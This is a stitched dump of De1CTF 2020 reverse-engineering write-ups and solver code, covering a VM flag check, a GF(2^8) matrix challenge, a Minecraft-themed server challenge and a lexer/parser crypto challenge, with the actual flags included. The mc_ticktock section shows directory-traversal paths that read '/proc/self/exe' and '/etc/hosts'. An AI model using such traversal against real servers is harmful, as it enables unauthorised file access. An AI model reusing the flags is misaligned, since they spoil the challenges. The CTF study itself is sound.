| 0x20,0x33, 157 | 0x20,0x34,//} 158 | ``` 159 | 160 | ### 2. 检测flag的格式 161 | 162 | 下面这几个检测分布在虚拟机指令的各个角落 163 | 164 | ```c++ 165 | 0x2a,0x19, 166 | 0x14,'d', 167 | 0x34, 168 | 0xff, 169 | 0x2a,0x1a, 170 | 0x14,'e', 171 | 0x34, 172 | 0xff, 173 | 0x2a,0x1b, 174 | 0x14,'1', 175 | 0x34, 176 | 0xff, 177 | 0x2a,0x1c, 178 | 0x14,'c', 179 | 0x34, 180 | 0xff, 181 | 0x14,'t', 182 | 0x34, 183 | 0xff, 184 | 0x2a,0x1e, 185 | 0x14,'f', 186 | 0x34, 187 | 0xff, 188 | 0x2a,0x1f, 189 | 0x14,'{', 190 | 0x34, 191 | 0xff, 192 | 0x2a,0x34, 193 | 0x14,'}', 194 | 0x34, 195 | 0xff, 196 | ``` 197 | 198 | 花指令: 199 | 200 | ``` 201 | _asm 202 | { 203 | mov eax, _PE1 204 | push eax 205 | push fs : [0] 206 | mov fs : [0] , esp 207 | xor ecx, ecx 208 | div ecx 209 | retn 210 | _PE1 : 211 | mov esp, [esp + 8] 212 | mov eax, fs : [0] 213 | mov eax, [eax] 214 | mov eax, [eax] 215 | mov fs : [0] , eax 216 | add esp, 8 217 | } 218 | ``` 219 | 220 | _asm 221 | { 222 | jz _P2 223 | jnz _P2 224 | _P1 : 225 | __emit 0xE8 226 | } 227 | 228 | _asm 229 | { 230 | call _P1 231 | _P1 : 232 | add[esp], 5 233 | retn 234 | } 235 | 236 | _asm 237 | { 238 | xor eax, eax 239 | add eax, 2 240 | ret 0xff 241 | } 242 | 243 | 244 | ​ 245 | 246 | ### 3.将flag包装内的20个字符分成10组,分组进行base58编码 247 | 248 | 机器码太长了,这里就放个伪码 249 | 250 | 需要注意的是,虽然用的table是64位长,但是使用的算法是base58而不是base64 251 | 252 | ```c++ 253 | table = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/=' 254 | for(int i = 0;i<10;++i){ 255 | reg = (memSpace[0x20+i*2]<<8)+memspace(0x21+i*2); 256 | for(int j = 3;j>0;--j){ 257 | memspace[0x39+j+i*3] = table[reg%58]; 258 | reg /= 58; 259 | } 260 | } 261 | ``` 262 | 263 | ### 4.分组加密 264 | 265 | 然后不知道咋的,突发奇想吧,搞了轮加密,分组进行的。 266 | 267 | 模加,模减,异或这三种运算都是可逆的。 268 | 269 | ```python 270 | for(int i = 0,i<30,i+=3){ 271 | memSpace[0x40+i+1] = memSpace[0x40+i+1]+memSpace[0x40+i+0]; 272 | memSpace[0x40+i+2] = memSpace[0x40+i+2]-memSpace[0x40+i+1]; 273 | memSpace[0x40+i+0] = memSpace[0x40+i+0]^memSpace[0x40+i+2]; 274 | } 275 | ``` 276 | 277 | 278 | 279 | ### 5.对加密后的结果进行检测 280 | 281 | 不放机器码的理由同上。 282 | 283 | ```cpp 284 | enc_flag = [0x7a,0x19,0x4f,0x6e,0xe,0x56,0xaf,0x1f,0x98,0x58,0xe,0x60,0xbd,0x42,0x8a,0xa2,0x20,0x97,0xb0,0x3d,0x87,0xa0,0x22,0x95,0x79,0xf9,0x41,0x54,0xc,0x6d] 285 | for i in range(len(enc_flag)): 286 | if enc_flag[i]!=memSpace[i]: 287 | return false 288 | ``` 289 | 290 | ### 6.虚拟机运行完毕,返回true 291 | 292 | ```c++ 293 | case 0xab:return true; 294 | ``` 295 | 296 | ## exp.py 297 | 298 | ```python 299 | enc_flag = [0x7a,0x19,0x4f,0x6e,0xe,0x56,0xaf,0x1f,0x98,0x58,0xe,0x60,0xbd,0x42,0x8a,0xa2,0x20,0x97,0xb0,0x3d,0x87,0xa0,0x22,0x95,0x79,0xf9,0x41,0x54,0xc,0x6d] 300 | table = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/=' 301 | enc = [None]*30 302 | 303 | i = 0 304 | while(i!=30): 305 | enc_flag[i+0] = enc_flag[i+2]^enc_flag[i+0] 306 | enc_flag[i+2] = (enc_flag[i+2]-enc_flag[i+1]+0x100)%0x100 307 | enc_flag[i+1] = (enc_flag[i]+enc_flag[i+1]+0x100)%0x100 308 | i+=3 309 | 310 | temp = '' 311 | for i in range(len(enc_flag)): 312 | temp += chr(enc_flag[i]) 313 | enc_flag = temp 314 | print(enc_flag) 315 | 316 | for i in range(len(enc_flag)): 317 | for j in range(len(table)): 318 | if ord(enc_flag[i])==ord(table[j]): 319 | enc[i] = j 320 | break 321 | print("de1ctf{",end = '') 322 | 323 | for i in range(10): 324 | temp = enc[i*3]*58*58+enc[i*3+1]*58+enc[i*3+2] 325 | print("{}{}".format(chr(temp//256),chr(temp%256)),end = '') 326 | 327 | print("}",end = '') 328 | ``` 329 | 330 | -------------------------------------------------------------------------------- /writeup/re/little_elves/little_elves_3754be6bd7d580d5cd5e85074461d2e5e25fcbc4c8dd4afaa06b66d92b9527e2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/re/little_elves/little_elves_3754be6bd7d580d5cd5e85074461d2e5e25fcbc4c8dd4afaa06b66d92b9527e2 -------------------------------------------------------------------------------- /writeup/re/little_elves/writeup_en.md: -------------------------------------------------------------------------------- 1 | [中文](./writeup_zh.md) | En 2 | 3 | # little elves 4 | 5 | reference to [tiny-elf](https://github.com/arjun024/tiny-elf) 6 | 7 | I reference this elf that I can write some assembly code and run it directly. Another intention is to learn something about the ELF format. 8 | 9 | In this case, the program header is at the offset of 4 in the file. And the third member of the program header is the address of the segment. So the base address is 0x888000. If you can't get this point, you may have a little trouble in later analysis. 10 | 11 | I add some junk code and it is not very hard to remove them. The main code is a big unrolling loop, every part is similar. 12 | 13 | The algorithm is some basis abstract algebra, the matrix multiple over Finite Field of size 2 with the modulus x^8 + x^5 + x^4 + x^3 + 1. 14 | 15 | Use sage to solve it easily, and the z3-solver doesn't work. 16 | 17 | 18 | 19 | ```python 20 | from sage.all import * 21 | import random 22 | flag = "De1CTF{01ab211f-589b-40b7-9ee4-4243f541fc40}" 23 | SIZE = len(flag) 24 | res = [200, 201, 204, 116, 124, 94, 129, 127, 211, 85, 61, 154, 50, 51, 27, 28, 19, 134, 121, 70, 100, 219, 1, 132, 93, 252, 152, 87, 32, 171, 228, 156, 43, 98, 203, 2, 24, 63, 215, 186, 201, 128, 103, 52] 25 | def i2x(num): 26 | res = 0 27 | i = 0 28 | while num!=0: 29 | res += (num&1) * (x^i) 30 | num >>= 1 31 | i+=1 32 | return res 33 | 34 | def i2y(num): 35 | res = 0 36 | i = 0 37 | while num!=0: 38 | res += (num&1) * (y^i) 39 | num >>= 1 40 | i+=1 41 | return res 42 | 43 | def y2i(r): 44 | tmp = r.list() 45 | res = 0 46 | for i in tmp[::-1]: 47 | res <<= 1 48 | res += int(i) 49 | return res 50 | 51 | def vi2y(v): 52 | res = [] 53 | for i in v: 54 | res.append(i2y(i)) 55 | return res 56 | 57 | def vy2i(v): 58 | res = [] 59 | for i in v: 60 | res.append(y2i(i)) 61 | return res 62 | 63 | def mi2y(m): 64 | res = [] 65 | for i in m: 66 | res.append(vi2y(i)) 67 | return res 68 | 69 | def my2i(m): 70 | res = [] 71 | for i in m: 72 | res.append(vy2i(i)) 73 | return res 74 | 75 | R. = PolynomialRing(GF(2), 'x') 76 | S. = QuotientRing(R, R.ideal(i2x(313))) 77 | 78 | M = MatrixSpace(S, SIZE, SIZE) 79 | V = VectorSpace(S, SIZE) 80 | 81 | def genM(): 82 | res = [] 83 | for i in range(SIZE): 84 | tmp = [] 85 | for j in range(SIZE): 86 | tmp.append(random.randint(0, 255)) 87 | res.append(tmp) 88 | return res 89 | 90 | A = # matrix here ... 91 | #A = genM() 92 | AM = M(mi2y(A)) 93 | v = V(vi2y(res)) 94 | f = vy2i(AM.solve_right(v)) 95 | f = "".join(map(chr, f)) 96 | print(f) 97 | ``` 98 | 99 | -------------------------------------------------------------------------------- /writeup/re/little_elves/writeup_zh.md: -------------------------------------------------------------------------------- 1 | 中文 | [En](./writeup_en.md) 2 | 3 | # little elves 4 | 5 | 参考一个很小的elf头tiny elf,直接能执行汇编代码,通过系统调用获取输入,校验完后调用exit,正确会返回0,错误返回1。 6 | 7 | 加入了一些简单的花指令,基本上匹配对应模式就可以去除。 8 | 9 | 需要注意的是,elf头中定义的程序头的偏移是在4的位置,从第四个字节开始程序头和ELF头进行了复用。程序头的第三个成员代表段的其实地址,可以看到是00888000,所以加载的时候要自定义偏移0x888000,后续一些地址才是正确的。 10 | 11 | 算法方面,是有限域GF(2^8)上的矩阵乘法(就像希尔密码),用到的多项式是x^8+x^5+x^4+x^3+1,(`Rijndael MixColumns`中用的是x^8+x^4+x^3+x+1),需要一点点数学功底,或者求助密码学队友。 12 | 13 | 使用sage计算矩阵的逆 14 | 15 | ```python 16 | from sage.all import * 17 | import random 18 | flag = "De1CTF{01ab211f-589b-40b7-9ee4-4243f541fc40}" 19 | SIZE = len(flag) 20 | res = [200, 201, 204, 116, 124, 94, 129, 127, 211, 85, 61, 154, 50, 51, 27, 28, 19, 134, 121, 70, 100, 219, 1, 132, 93, 252, 152, 87, 32, 171, 228, 156, 43, 98, 203, 2, 24, 63, 215, 186, 201, 128, 103, 52] 21 | def i2x(num): 22 | res = 0 23 | i = 0 24 | while num!=0: 25 | res += (num&1) * (x^i) 26 | num >>= 1 27 | i+=1 28 | return res 29 | 30 | def i2y(num): 31 | res = 0 32 | i = 0 33 | while num!=0: 34 | res += (num&1) * (y^i) 35 | num >>= 1 36 | i+=1 37 | return res 38 | 39 | def y2i(r): 40 | tmp = r.list() 41 | res = 0 42 | for i in tmp[::-1]: 43 | res <<= 1 44 | res += int(i) 45 | return res 46 | 47 | def vi2y(v): 48 | res = [] 49 | for i in v: 50 | res.append(i2y(i)) 51 | return res 52 | 53 | def vy2i(v): 54 | res = [] 55 | for i in v: 56 | res.append(y2i(i)) 57 | return res 58 | 59 | def mi2y(m): 60 | res = [] 61 | for i in m: 62 | res.append(vi2y(i)) 63 | return res 64 | 65 | def my2i(m): 66 | res = [] 67 | for i in m: 68 | res.append(vy2i(i)) 69 | return res 70 | 71 | R. = PolynomialRing(GF(2), 'x') 72 | S. = QuotientRing(R, R.ideal(i2x(313))) 73 | 74 | M = MatrixSpace(S, SIZE, SIZE) 75 | V = VectorSpace(S, SIZE) 76 | 77 | def genM(): 78 | res = [] 79 | for i in range(SIZE): 80 | tmp = [] 81 | for j in range(SIZE): 82 | tmp.append(random.randint(0, 255)) 83 | res.append(tmp) 84 | return res 85 | 86 | A = # matrix here ... 87 | #A = genM() 88 | AM = M(mi2y(A)) 89 | v = V(vi2y(res)) 90 | f = vy2i(AM.solve_right(v)) 91 | f = "".join(map(chr, f)) 92 | print(f) 93 | ``` 94 | 95 | -------------------------------------------------------------------------------- /writeup/re/mc_ticktock/readme.md: -------------------------------------------------------------------------------- 1 | ## reverse - mc_ticktock 2 | 3 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 4 | 5 | Previously on the challenge, we got a hidden command `/MC2020-DEBUG-VIEW:-)`. We could read player's log file by their's UUID. Of course, it's a classical directory traversal attack here to read any file on the challenge environment. 6 | 7 | Let's read the service binary file `../../../../../../../proc/self/exe`, and reverse it. (`go run exp.go types.go crypt.go -s1`) 8 | 9 | In `main_main` function, there is some code like: 10 | 11 | ``` 12 | _, err := os.Stat("webserver") 13 | if err != nil { 14 | log.Fatal("webserver not found") 15 | } 16 | ``` 17 | 18 | Go on, and read the web service binary file `../../../../../../../proc/self/cwd/webserver`, and reverse it. (`go run exp.go types.go crypt.go -s2`) 19 | 20 | You will found three hidden functions. 21 | 22 | 1. `http://:80/ticktock?text={text}` 23 | 24 | It will have a Modified-SM4 encryption of the {text}, and compare the cipher-text with the prefix one. If they match, you will have 20 minutes (One day-night cycle in Minecraft World) to access function two and three. In the meantime, the plain text contains the flag of this challenge. 25 | 26 | ``` 27 | KEY := Sha256([]byte("de1ctf-mc2020")) 28 | NONCE := Sha256([]byte("de1ta-team"))[:24] 29 | c, _ := crypt.NewCipher(KEY[:16]) 30 | s := cipher.NewCFBEncrypter(c, NONCE[:16]) 31 | plain := []byte("example plain text") 32 | buff := make([]byte, len(plain)) 33 | s.XORKeyStream(buff, plain) 34 | ``` 35 | 36 | 2. `http://:80/webproxy` 37 | 38 | It's a custom proxy service. You can use it to make HTTP request or do a TCP scanning. Remaining three challenges `mc_realworld` & `mc_logclient` & `mc_noisemap` need this proxy to access the web service. 39 | 40 | How to use? Make a POST request to this URL. The POST body should be encrypted using `chacha20` cipher. 41 | 42 | ``` 43 | KEY := Sha256([]byte("de1ctf-mc2020")) 44 | NONCE := Sha256([]byte("de1ta-team"))[:24] 45 | cipher, _ := chacha20.NewUnauthenticatedCipher(KEY[:], NONCE[:]) 46 | body := []byte("127.0.0.1:80|GET /assets/ HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n") 47 | buff := make([]byte, len(body)) 48 | cipher.XORKeyStream(buff, body) 49 | ``` 50 | 51 | 3. `tcp://:8080/` 52 | 53 | It's a custom TCP proxy service to access the game service of challenge `mc_realworld`. Inbound traffic and outbound traffic are both using `chacha20` cipher to encrypt which mentioned above. 54 | 55 | To get the flag, try `go run exp.go types.go crypt.go -s3`. 56 | 57 | `De1CTF{t1Ck-t0ck_Tlck-1ocK_MC2O20_:)SM4}` 58 | 59 | ## reverse - mc_ticktock 60 | 61 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 62 | 63 | 上一题提到的 `/MC2020-DEBUG-VIEW:-)` 隐藏命令,是管理员用于读取指定 `uuid` 玩家 `log日志文件` 的命令。 64 | 65 | 很容易联想到 `目录穿越` 去实现 `任意文件读取`。 66 | 67 | 接下来我们可以读取以及逆向 `../../../../../../../proc/self/exe` (`go run exp.go types.go crypt.go -s1`) 68 | 69 | 文件含有符号表。 70 | 71 | 在 `main_main` 函数开头可以找到以下代码。 72 | 73 | ``` 74 | _, err := os.Stat("webserver") 75 | if err != nil { 76 | log.Fatal("webserver not found") 77 | } 78 | ``` 79 | 80 | 然后我们继续读 `../../../../../../../proc/self/cwd/webserver` (`go run exp.go types.go crypt.go -s2`) 81 | 82 | 文件没有符号表,可以使用 [IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) 进行恢复。 83 | 84 | 文件有以下三个功能。 85 | 86 | 1. `http://:80/ticktock?text={text}` 87 | 88 | 这里会有一个修改过的 SM4 加密算法,会对 {text} 进行加密,然后返回密文,同时与预设密文进行比较。比较相同,会将你的ip记录下来,然后你才能使用功能二和功能三,此时明文就是本题的flag值。 89 | 90 | 记录ip的表每20分钟(20分钟是mc里一昼夜的时间)清空一次。 91 | 92 | 加密过程大致如下: 93 | 94 | ``` 95 | KEY := Sha256([]byte("de1ctf-mc2020")) 96 | NONCE := Sha256([]byte("de1ta-team"))[:24] 97 | c, _ := crypt.NewCipher(KEY[:16]) 98 | s := cipher.NewCFBEncrypter(c, NONCE[:16]) 99 | plain := []byte("example plain text") 100 | buff := make([]byte, len(plain)) 101 | s.XORKeyStream(buff, plain) 102 | ``` 103 | 104 | 2. `http://:80/webproxy` 105 | 106 | 由于平时在开发网络协议,所以出题时也写了个代理,作为考点,想让选手访问内部网络的题。然后没想到有点难度,最后比赛过程中,这部分被临时砍掉了,出题人翻车了。 107 | 108 | 使用这个代理功能,可以实现 `http代理` 和 `端口扫描` 的功能。 109 | 110 | 剩下三道题 `mc_realworld` & `mc_logclient` & `mc_noisemap` 都需要使用这个代理去访问。 111 | 112 | 三道题的ip,可以使用 `/MC2020-DEBUG-VIEW:-) ../../../../../etc/hosts` 读取 `/etc/hosts` 来获取。 113 | 114 | 如何使用呢?发 POST 请求,POST 请求 BODY 使用 `chacha20` 加密。加密过程如下: 115 | 116 | ``` 117 | KEY := Sha256([]byte("de1ctf-mc2020")) 118 | NONCE := Sha256([]byte("de1ta-team"))[:24] 119 | cipher, _ := chacha20.NewUnauthenticatedCipher(KEY[:], NONCE[:]) 120 | body := []byte("127.0.0.1:80|GET /assets/ HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n") 121 | buff := make([]byte, len(body)) 122 | cipher.XORKeyStream(buff, body) 123 | ``` 124 | 125 | 3. `tcp://:8080/` 126 | 127 | 一个自定义TCP代理,用于 `mc_realworld` 的游戏服务。双向流量使用上面提到的 `chacha20` 加密。 128 | 129 | 使用命令 `go run exp.go types.go crypt.go -s3`,可以得到 flag。 130 | 131 | `De1CTF{t1Ck-t0ck_Tlck-1ocK_MC2O20_:)SM4}` -------------------------------------------------------------------------------- /writeup/re/parser/flag.txt: -------------------------------------------------------------------------------- 1 | De1CTF{h3ll0+w0rld_l3x3r+4nd_p4r53r} 2 | b"\xe7\xa43L\xd3\x11\xe7\x85hV\x97\x11\xee\xd2\xf8\xd9>p\xc9N\x94\xa02Z'\x98\x00\x1d\xd5\xd7\x11\x1d\xf4\x85a\xac\x0c\x80'@\xbd\xdd\x1f\x0b\xb4\x97\x1f`[T\xcb\xc5\xa8\xb7\x11\x90\xc9\xb5\x81eS\x0f~\x7f" 3 | {-25, -92, 51, 76, -45, 17, -25, -123, 104, 86, -105, 17, -18, -46, -8, -39, 62, 112, -55, 78, -108, -96, 50, 90, 39, -104, 0, 29, -43, -41, 17, 29, -12, -123, 97, -84, 12, -128, 39, 64, -67, -35, 31, 11, -76, -105, 31, 96, 91, 84, -53, -59, -88, -73, 17, -112, -55, -75, -127, 101, 83, 15, 126, 127} -------------------------------------------------------------------------------- /writeup/re/parser/parser: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/re/parser/parser -------------------------------------------------------------------------------- /writeup/re/parser/solver.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import ARC4, AES, DES 2 | from Crypto.Util.Padding import unpad 3 | from binascii import * 4 | key = b"De1CTF" 5 | rc4_key = key 6 | des_key = key.ljust(8, b"\x02") 7 | aes_key = key.ljust(16, b"\x0a") 8 | 9 | def rc4_decrypt(cipher, key=rc4_key): 10 | rc4 = ARC4.new(key) 11 | return rc4.decrypt(cipher) 12 | 13 | def aes_decrypt(cipher, key=aes_key): 14 | aes = AES.new(key, iv=key, mode=AES.MODE_CBC) 15 | return aes.decrypt(cipher) 16 | 17 | def des_decrypt(cipher, key=des_key): 18 | des = DES.new(key, iv=key, mode=AES.MODE_CBC) 19 | return des.decrypt(cipher) 20 | flag = b"}" 21 | cipher = b"\xe7\xa43L\xd3\x11\xe7\x85hV\x97\x11\xee\xd2\xf8\xd9>p\xc9N\x94\xa02Z'\x98\x00\x1d\xd5\xd7\x11\x1d\xf4\x85a\xac\x0c\x80'@\xbd\xdd\x1f\x0b\xb4\x97\x1f`[T\xcb\xc5\xa8\xb7\x11\x90\xc9\xb5\x81eS\x0f~\x7f" 22 | 23 | cipher = unpad(aes_decrypt(cipher), 16) 24 | term_1 = unpad(des_decrypt(cipher[-16:]), 8) 25 | cipher = cipher[:-16] 26 | word_1 = rc4_decrypt(term_1[3:]) 27 | word_2 = rc4_decrypt(term_1[:3]) 28 | flag = word_2 + b"_" + word_1 + flag 29 | flag = b"+" + flag 30 | cipher = unpad(aes_decrypt(cipher), 16) 31 | term_2 = unpad(des_decrypt(cipher[-16:]), 8) 32 | cipher = cipher[0:-16] 33 | word_3 = rc4_decrypt(term_2[5:]) 34 | word_4 = rc4_decrypt(term_2[:5]) 35 | flag = word_4 + b"_" + word_3 + flag 36 | flag = b"+" + flag 37 | word_5 = rc4_decrypt(cipher) 38 | flag = word_5 + flag 39 | flag = b"De1CTF{" + flag 40 | 41 | -------------------------------------------------------------------------------- /writeup/re/parser/source/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.10.2) 2 | project(parseme) 3 | 4 | set(CMAKE_CXX_STANDARD 14) 5 | set(CMAKE_CXX_FLAGS_RELEASE "-O3 -DNDEBUG -s") 6 | set(CMAKE_CXX_FLAGS_DEBUG "-O0 -DNDEBUG -s") 7 | add_executable(parseme main.cpp token.h lexer.cpp lexer.h parser.cpp parser.h crypto.h aes.cpp aes.h des.cpp des.h crypto.cpp rc4.cpp rc4.h) -------------------------------------------------------------------------------- /writeup/re/parser/source/aes.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/9. 3 | // 4 | 5 | #include "aes.h" 6 | 7 | #define ROL(a, n) (((a << n) | (a >> (8-n))) & 0xffu) 8 | 9 | 10 | unsigned char affine_trans(unsigned char a) { 11 | unsigned int tmp = a; 12 | tmp = tmp ^ ROL(tmp, 1u) ^ ROL(tmp, 2u) ^ ROL(tmp, 3u) ^ ROL(tmp, 4u) ^ 0x63u; 13 | return (tmp); 14 | } 15 | 16 | unsigned int poly_mul(unsigned int a, unsigned int b) { 17 | unsigned int res = 0; 18 | for (int i = 0; i < 9; ++i) { 19 | if (b&1u) 20 | res ^= a; 21 | b>>=1u; 22 | a<<=1u; 23 | } 24 | return res; 25 | } 26 | 27 | int get_highest_bit(unsigned int a) { 28 | int i = 0; 29 | while(a) { 30 | i+=1; 31 | a >>= 1u; 32 | } 33 | return i; 34 | } 35 | 36 | unsigned int poly_div(unsigned int dividend, unsigned int divisor) { 37 | unsigned int r = 0, q = 0; 38 | unsigned int delta_bit = 0; 39 | r = dividend; 40 | delta_bit = get_highest_bit(r) - get_highest_bit(divisor); 41 | while (delta_bit <= 0x7fffffff) { 42 | q |= 1u << (unsigned int)delta_bit; 43 | r ^= (divisor << (unsigned int)delta_bit); 44 | delta_bit = get_highest_bit(r) - get_highest_bit(divisor); 45 | } 46 | return q; 47 | } 48 | 49 | unsigned int poly_mod(unsigned int dividend, unsigned int divisor) { 50 | unsigned int r = 0, q = 0; 51 | unsigned int delta_bit = 0; 52 | r = dividend; 53 | delta_bit = get_highest_bit(r) - get_highest_bit(divisor); 54 | while (delta_bit <= 0x7fffffff) { 55 | q |= 1u << (unsigned int)delta_bit; 56 | r ^= (divisor << (unsigned int)delta_bit); 57 | delta_bit = get_highest_bit(r) - get_highest_bit(divisor); 58 | } 59 | return r; 60 | } 61 | 62 | unsigned int poly_ext_euc(unsigned int a, unsigned int m) { 63 | unsigned int old_s=1, s=0, 64 | old_t = 0, t = 1, old_r = m, r = a; 65 | unsigned int q; 66 | unsigned int tmp; 67 | if (a == 0) 68 | return 0; 69 | else { 70 | while(r != 0) { 71 | q = poly_div(old_r, r); 72 | tmp = r; 73 | r = old_r ^ poly_mul(q, r); 74 | old_r = tmp; 75 | tmp = s; 76 | s = old_s ^ poly_mul(q, s); 77 | old_s = tmp; 78 | tmp = t; 79 | t = old_t ^ poly_mul(q, t); 80 | old_t = tmp; 81 | } 82 | } 83 | return old_t; 84 | } 85 | 86 | unsigned char s_box_trans(unsigned char a) { 87 | unsigned char tmp = poly_ext_euc(a, 0x11B) & 0xffu; 88 | return affine_trans(tmp); 89 | } 90 | 91 | 92 | 93 | void T(unsigned char* w) { 94 | unsigned char tmp = w[0]; 95 | w[0] = s_box_trans(w[1]); 96 | w[1] = s_box_trans(w[2]); 97 | w[2] = s_box_trans(w[3]); 98 | w[3] = s_box_trans(tmp); 99 | } 100 | 101 | void word_xor(unsigned char* a, const unsigned char* b) { 102 | *(unsigned int*)a ^= *(unsigned int*)b; 103 | } 104 | 105 | unsigned char* aes_key_extend(unsigned char* key) { 106 | auto* res = (unsigned char*)malloc(16 * 11); 107 | memcpy(res, key, 16); 108 | for (int i = 4; i < 44; ++i) { 109 | unsigned char a[4]; 110 | memcpy(a, res + (i - 4) * 4, 4); 111 | unsigned char b[4]; 112 | memcpy(b, res + (i - 1) * 4, 4); 113 | if (i % 4 == 0) { 114 | unsigned int tmp = ((i/4)-1); 115 | unsigned int d = 1u << tmp; 116 | tmp = poly_div(d, 0x11B); 117 | tmp = d ^ poly_mul(tmp, 0x11B); 118 | T(b); 119 | *(unsigned int*)b ^= tmp; 120 | } 121 | word_xor(a, b); 122 | memcpy(res+i*4, a, 4); 123 | } 124 | return res; 125 | } 126 | 127 | void add_round_key(unsigned char*a, const unsigned char* b) { 128 | *(unsigned long long *)a ^= *(unsigned long long*)b; 129 | ((unsigned long long *)a)[1] ^= ((unsigned long long*)b)[1]; 130 | } 131 | 132 | void sub_byte(unsigned char* a) { 133 | for (int i = 0; i < 16; ++i) { 134 | a[i] = s_box_trans(a[i]); 135 | } 136 | } 137 | 138 | void shift_row(unsigned char* a) { 139 | unsigned char tmp; 140 | tmp = a[1]; 141 | a[1] = a[5]; 142 | a[5] = a[9]; 143 | a[9] = a[13]; 144 | a[13] = tmp; 145 | 146 | tmp = a[2]; 147 | a[2] = a[10]; 148 | a[10] = tmp; 149 | 150 | tmp = a[6]; 151 | a[6] = a[14]; 152 | a[14] = tmp; 153 | 154 | tmp = a[3]; 155 | a[3] = a[15]; 156 | a[15] = a[11]; 157 | a[11] = a[7]; 158 | a[7] = tmp; 159 | } 160 | 161 | void mix_col(unsigned char *a) { 162 | unsigned int tmp[4] = {0}; 163 | for (int i = 0; i < 4; ++i) { 164 | tmp[0] = poly_mul(2, a[i*4+0]) ^ poly_mul(3, a[i*4+1]) ^ poly_mul(1, a[i*4+2]) ^ poly_mul(1, a[i*4+3]); 165 | tmp[0] = poly_mod(tmp[0], 0x11B); 166 | 167 | tmp[1] = poly_mul(1, a[i*4+0]) ^ poly_mul(2, a[i*4+1]) ^ poly_mul(3, a[i*4+2]) ^ poly_mul(1, a[i*4+3]); 168 | tmp[1] = poly_mod(tmp[1], 0x11B); 169 | 170 | tmp[2] = poly_mul(1, a[i*4+0]) ^ poly_mul(1, a[i*4+1]) ^ poly_mul(2, a[i*4+2]) ^ poly_mul(3, a[i*4+3]); 171 | tmp[2] = poly_mod(tmp[2], 0x11B); 172 | 173 | tmp[3] = poly_mul(3, a[i*4+0]) ^ poly_mul(1, a[i*4+1]) ^ poly_mul(1, a[i*4+2]) ^ poly_mul(2, a[i*4+3]); 174 | tmp[3] = poly_mod(tmp[3], 0x11B); 175 | 176 | a[i*4+0] = tmp[0]; 177 | a[i*4+1] = tmp[1]; 178 | a[i*4+2] = tmp[2]; 179 | a[i*4+3] = tmp[3]; 180 | } 181 | } 182 | 183 | void aes_encrypt_block(unsigned char* plain, unsigned char* key) { 184 | unsigned char* sub_key = aes_key_extend(key); 185 | add_round_key(plain, sub_key); 186 | for (int i = 1; i < 10; ++i) { 187 | sub_byte(plain); 188 | shift_row(plain); 189 | mix_col(plain); 190 | add_round_key(plain, sub_key+i*16); 191 | } 192 | sub_byte(plain); 193 | shift_row(plain); 194 | add_round_key(plain, sub_key+10*16); 195 | free(sub_key); 196 | } -------------------------------------------------------------------------------- /writeup/re/parser/source/aes.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/9. 3 | // 4 | 5 | #ifndef PARSEME_AES_H 6 | #define PARSEME_AES_H 7 | 8 | #include 9 | #include 10 | 11 | void aes_encrypt_block(unsigned char* plain, unsigned char* key); 12 | 13 | #endif //PARSEME_AES_H 14 | -------------------------------------------------------------------------------- /writeup/re/parser/source/crypto.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/9. 3 | // 4 | 5 | #include "crypto.h" 6 | 7 | void byte_xor(unsigned char* plain, const unsigned char* iv, unsigned int len) { 8 | for (int i = 0; i < len; ++i) { 9 | plain[i] ^= iv[i]; 10 | } 11 | } 12 | 13 | std::string padding(std::string& str, unsigned long length) { 14 | std::string res(str); 15 | unsigned long pad = length - str.length() % length; 16 | res.append(pad, pad); 17 | return res; 18 | } 19 | 20 | std::string aes_encrypt(std::string& _plain, std::string& _key) { 21 | std::string plain = padding(_plain, 16); 22 | std::string k = padding(_key, 16); 23 | unsigned long length = plain.length(); 24 | auto* key = (unsigned char*)malloc(16); 25 | auto* iv = (unsigned char*)malloc(16); 26 | auto* cipher = (unsigned char*)malloc(length); 27 | memcpy(cipher, plain.c_str(), length); 28 | memcpy(key, k.c_str(), 16); 29 | memcpy(iv, k.c_str(), 16); 30 | for (int i = 0; i < length; i+=16) { 31 | byte_xor(cipher+i, iv, 16); 32 | aes_encrypt_block(cipher + i, key); 33 | memcpy(iv, cipher+i, 16); 34 | } 35 | std::string res = std::string((char*)cipher, length); 36 | free(key); 37 | free(cipher); 38 | return res; 39 | } 40 | 41 | 42 | std::string des_encrypt(std::string& _plain, std::string& _key) { 43 | std::string plain = padding(_plain, 8); 44 | std::string k = padding(_key, 8); 45 | unsigned long length = plain.length(); 46 | auto* key = (unsigned char*)malloc(8); 47 | auto* iv = (unsigned char*)malloc(8); 48 | auto* cipher = (unsigned char*)malloc(length); 49 | memcpy(cipher, plain.c_str(), length); 50 | memcpy(key, k.c_str(), 8); 51 | memcpy(iv, k.c_str(), 8); 52 | for (int i = 0; i < length; i+=8) { 53 | byte_xor(cipher+i, iv, 8); 54 | des_encrypt_block(cipher+i, key); 55 | memcpy(iv, cipher+i, 8); 56 | } 57 | std::string res = std::string((char*)cipher, length); 58 | free(key); 59 | free(cipher); 60 | return res; 61 | } 62 | 63 | 64 | std::string rc4_encrypt(std::string& _plain, std::string& _key) { 65 | unsigned long length = _plain.length(); 66 | unsigned long key_length = _key.length(); 67 | auto* key = (unsigned char*)malloc(key_length); 68 | auto* cipher = (unsigned char*)malloc(length); 69 | memcpy(cipher, _plain.c_str(), length); 70 | memcpy(key, _key.c_str(), key_length); 71 | rc4_encrypt_block(cipher, length, key, key_length); 72 | std::string res = std::string((char*)cipher, length); 73 | free(key); 74 | free(cipher); 75 | return res; 76 | } 77 | 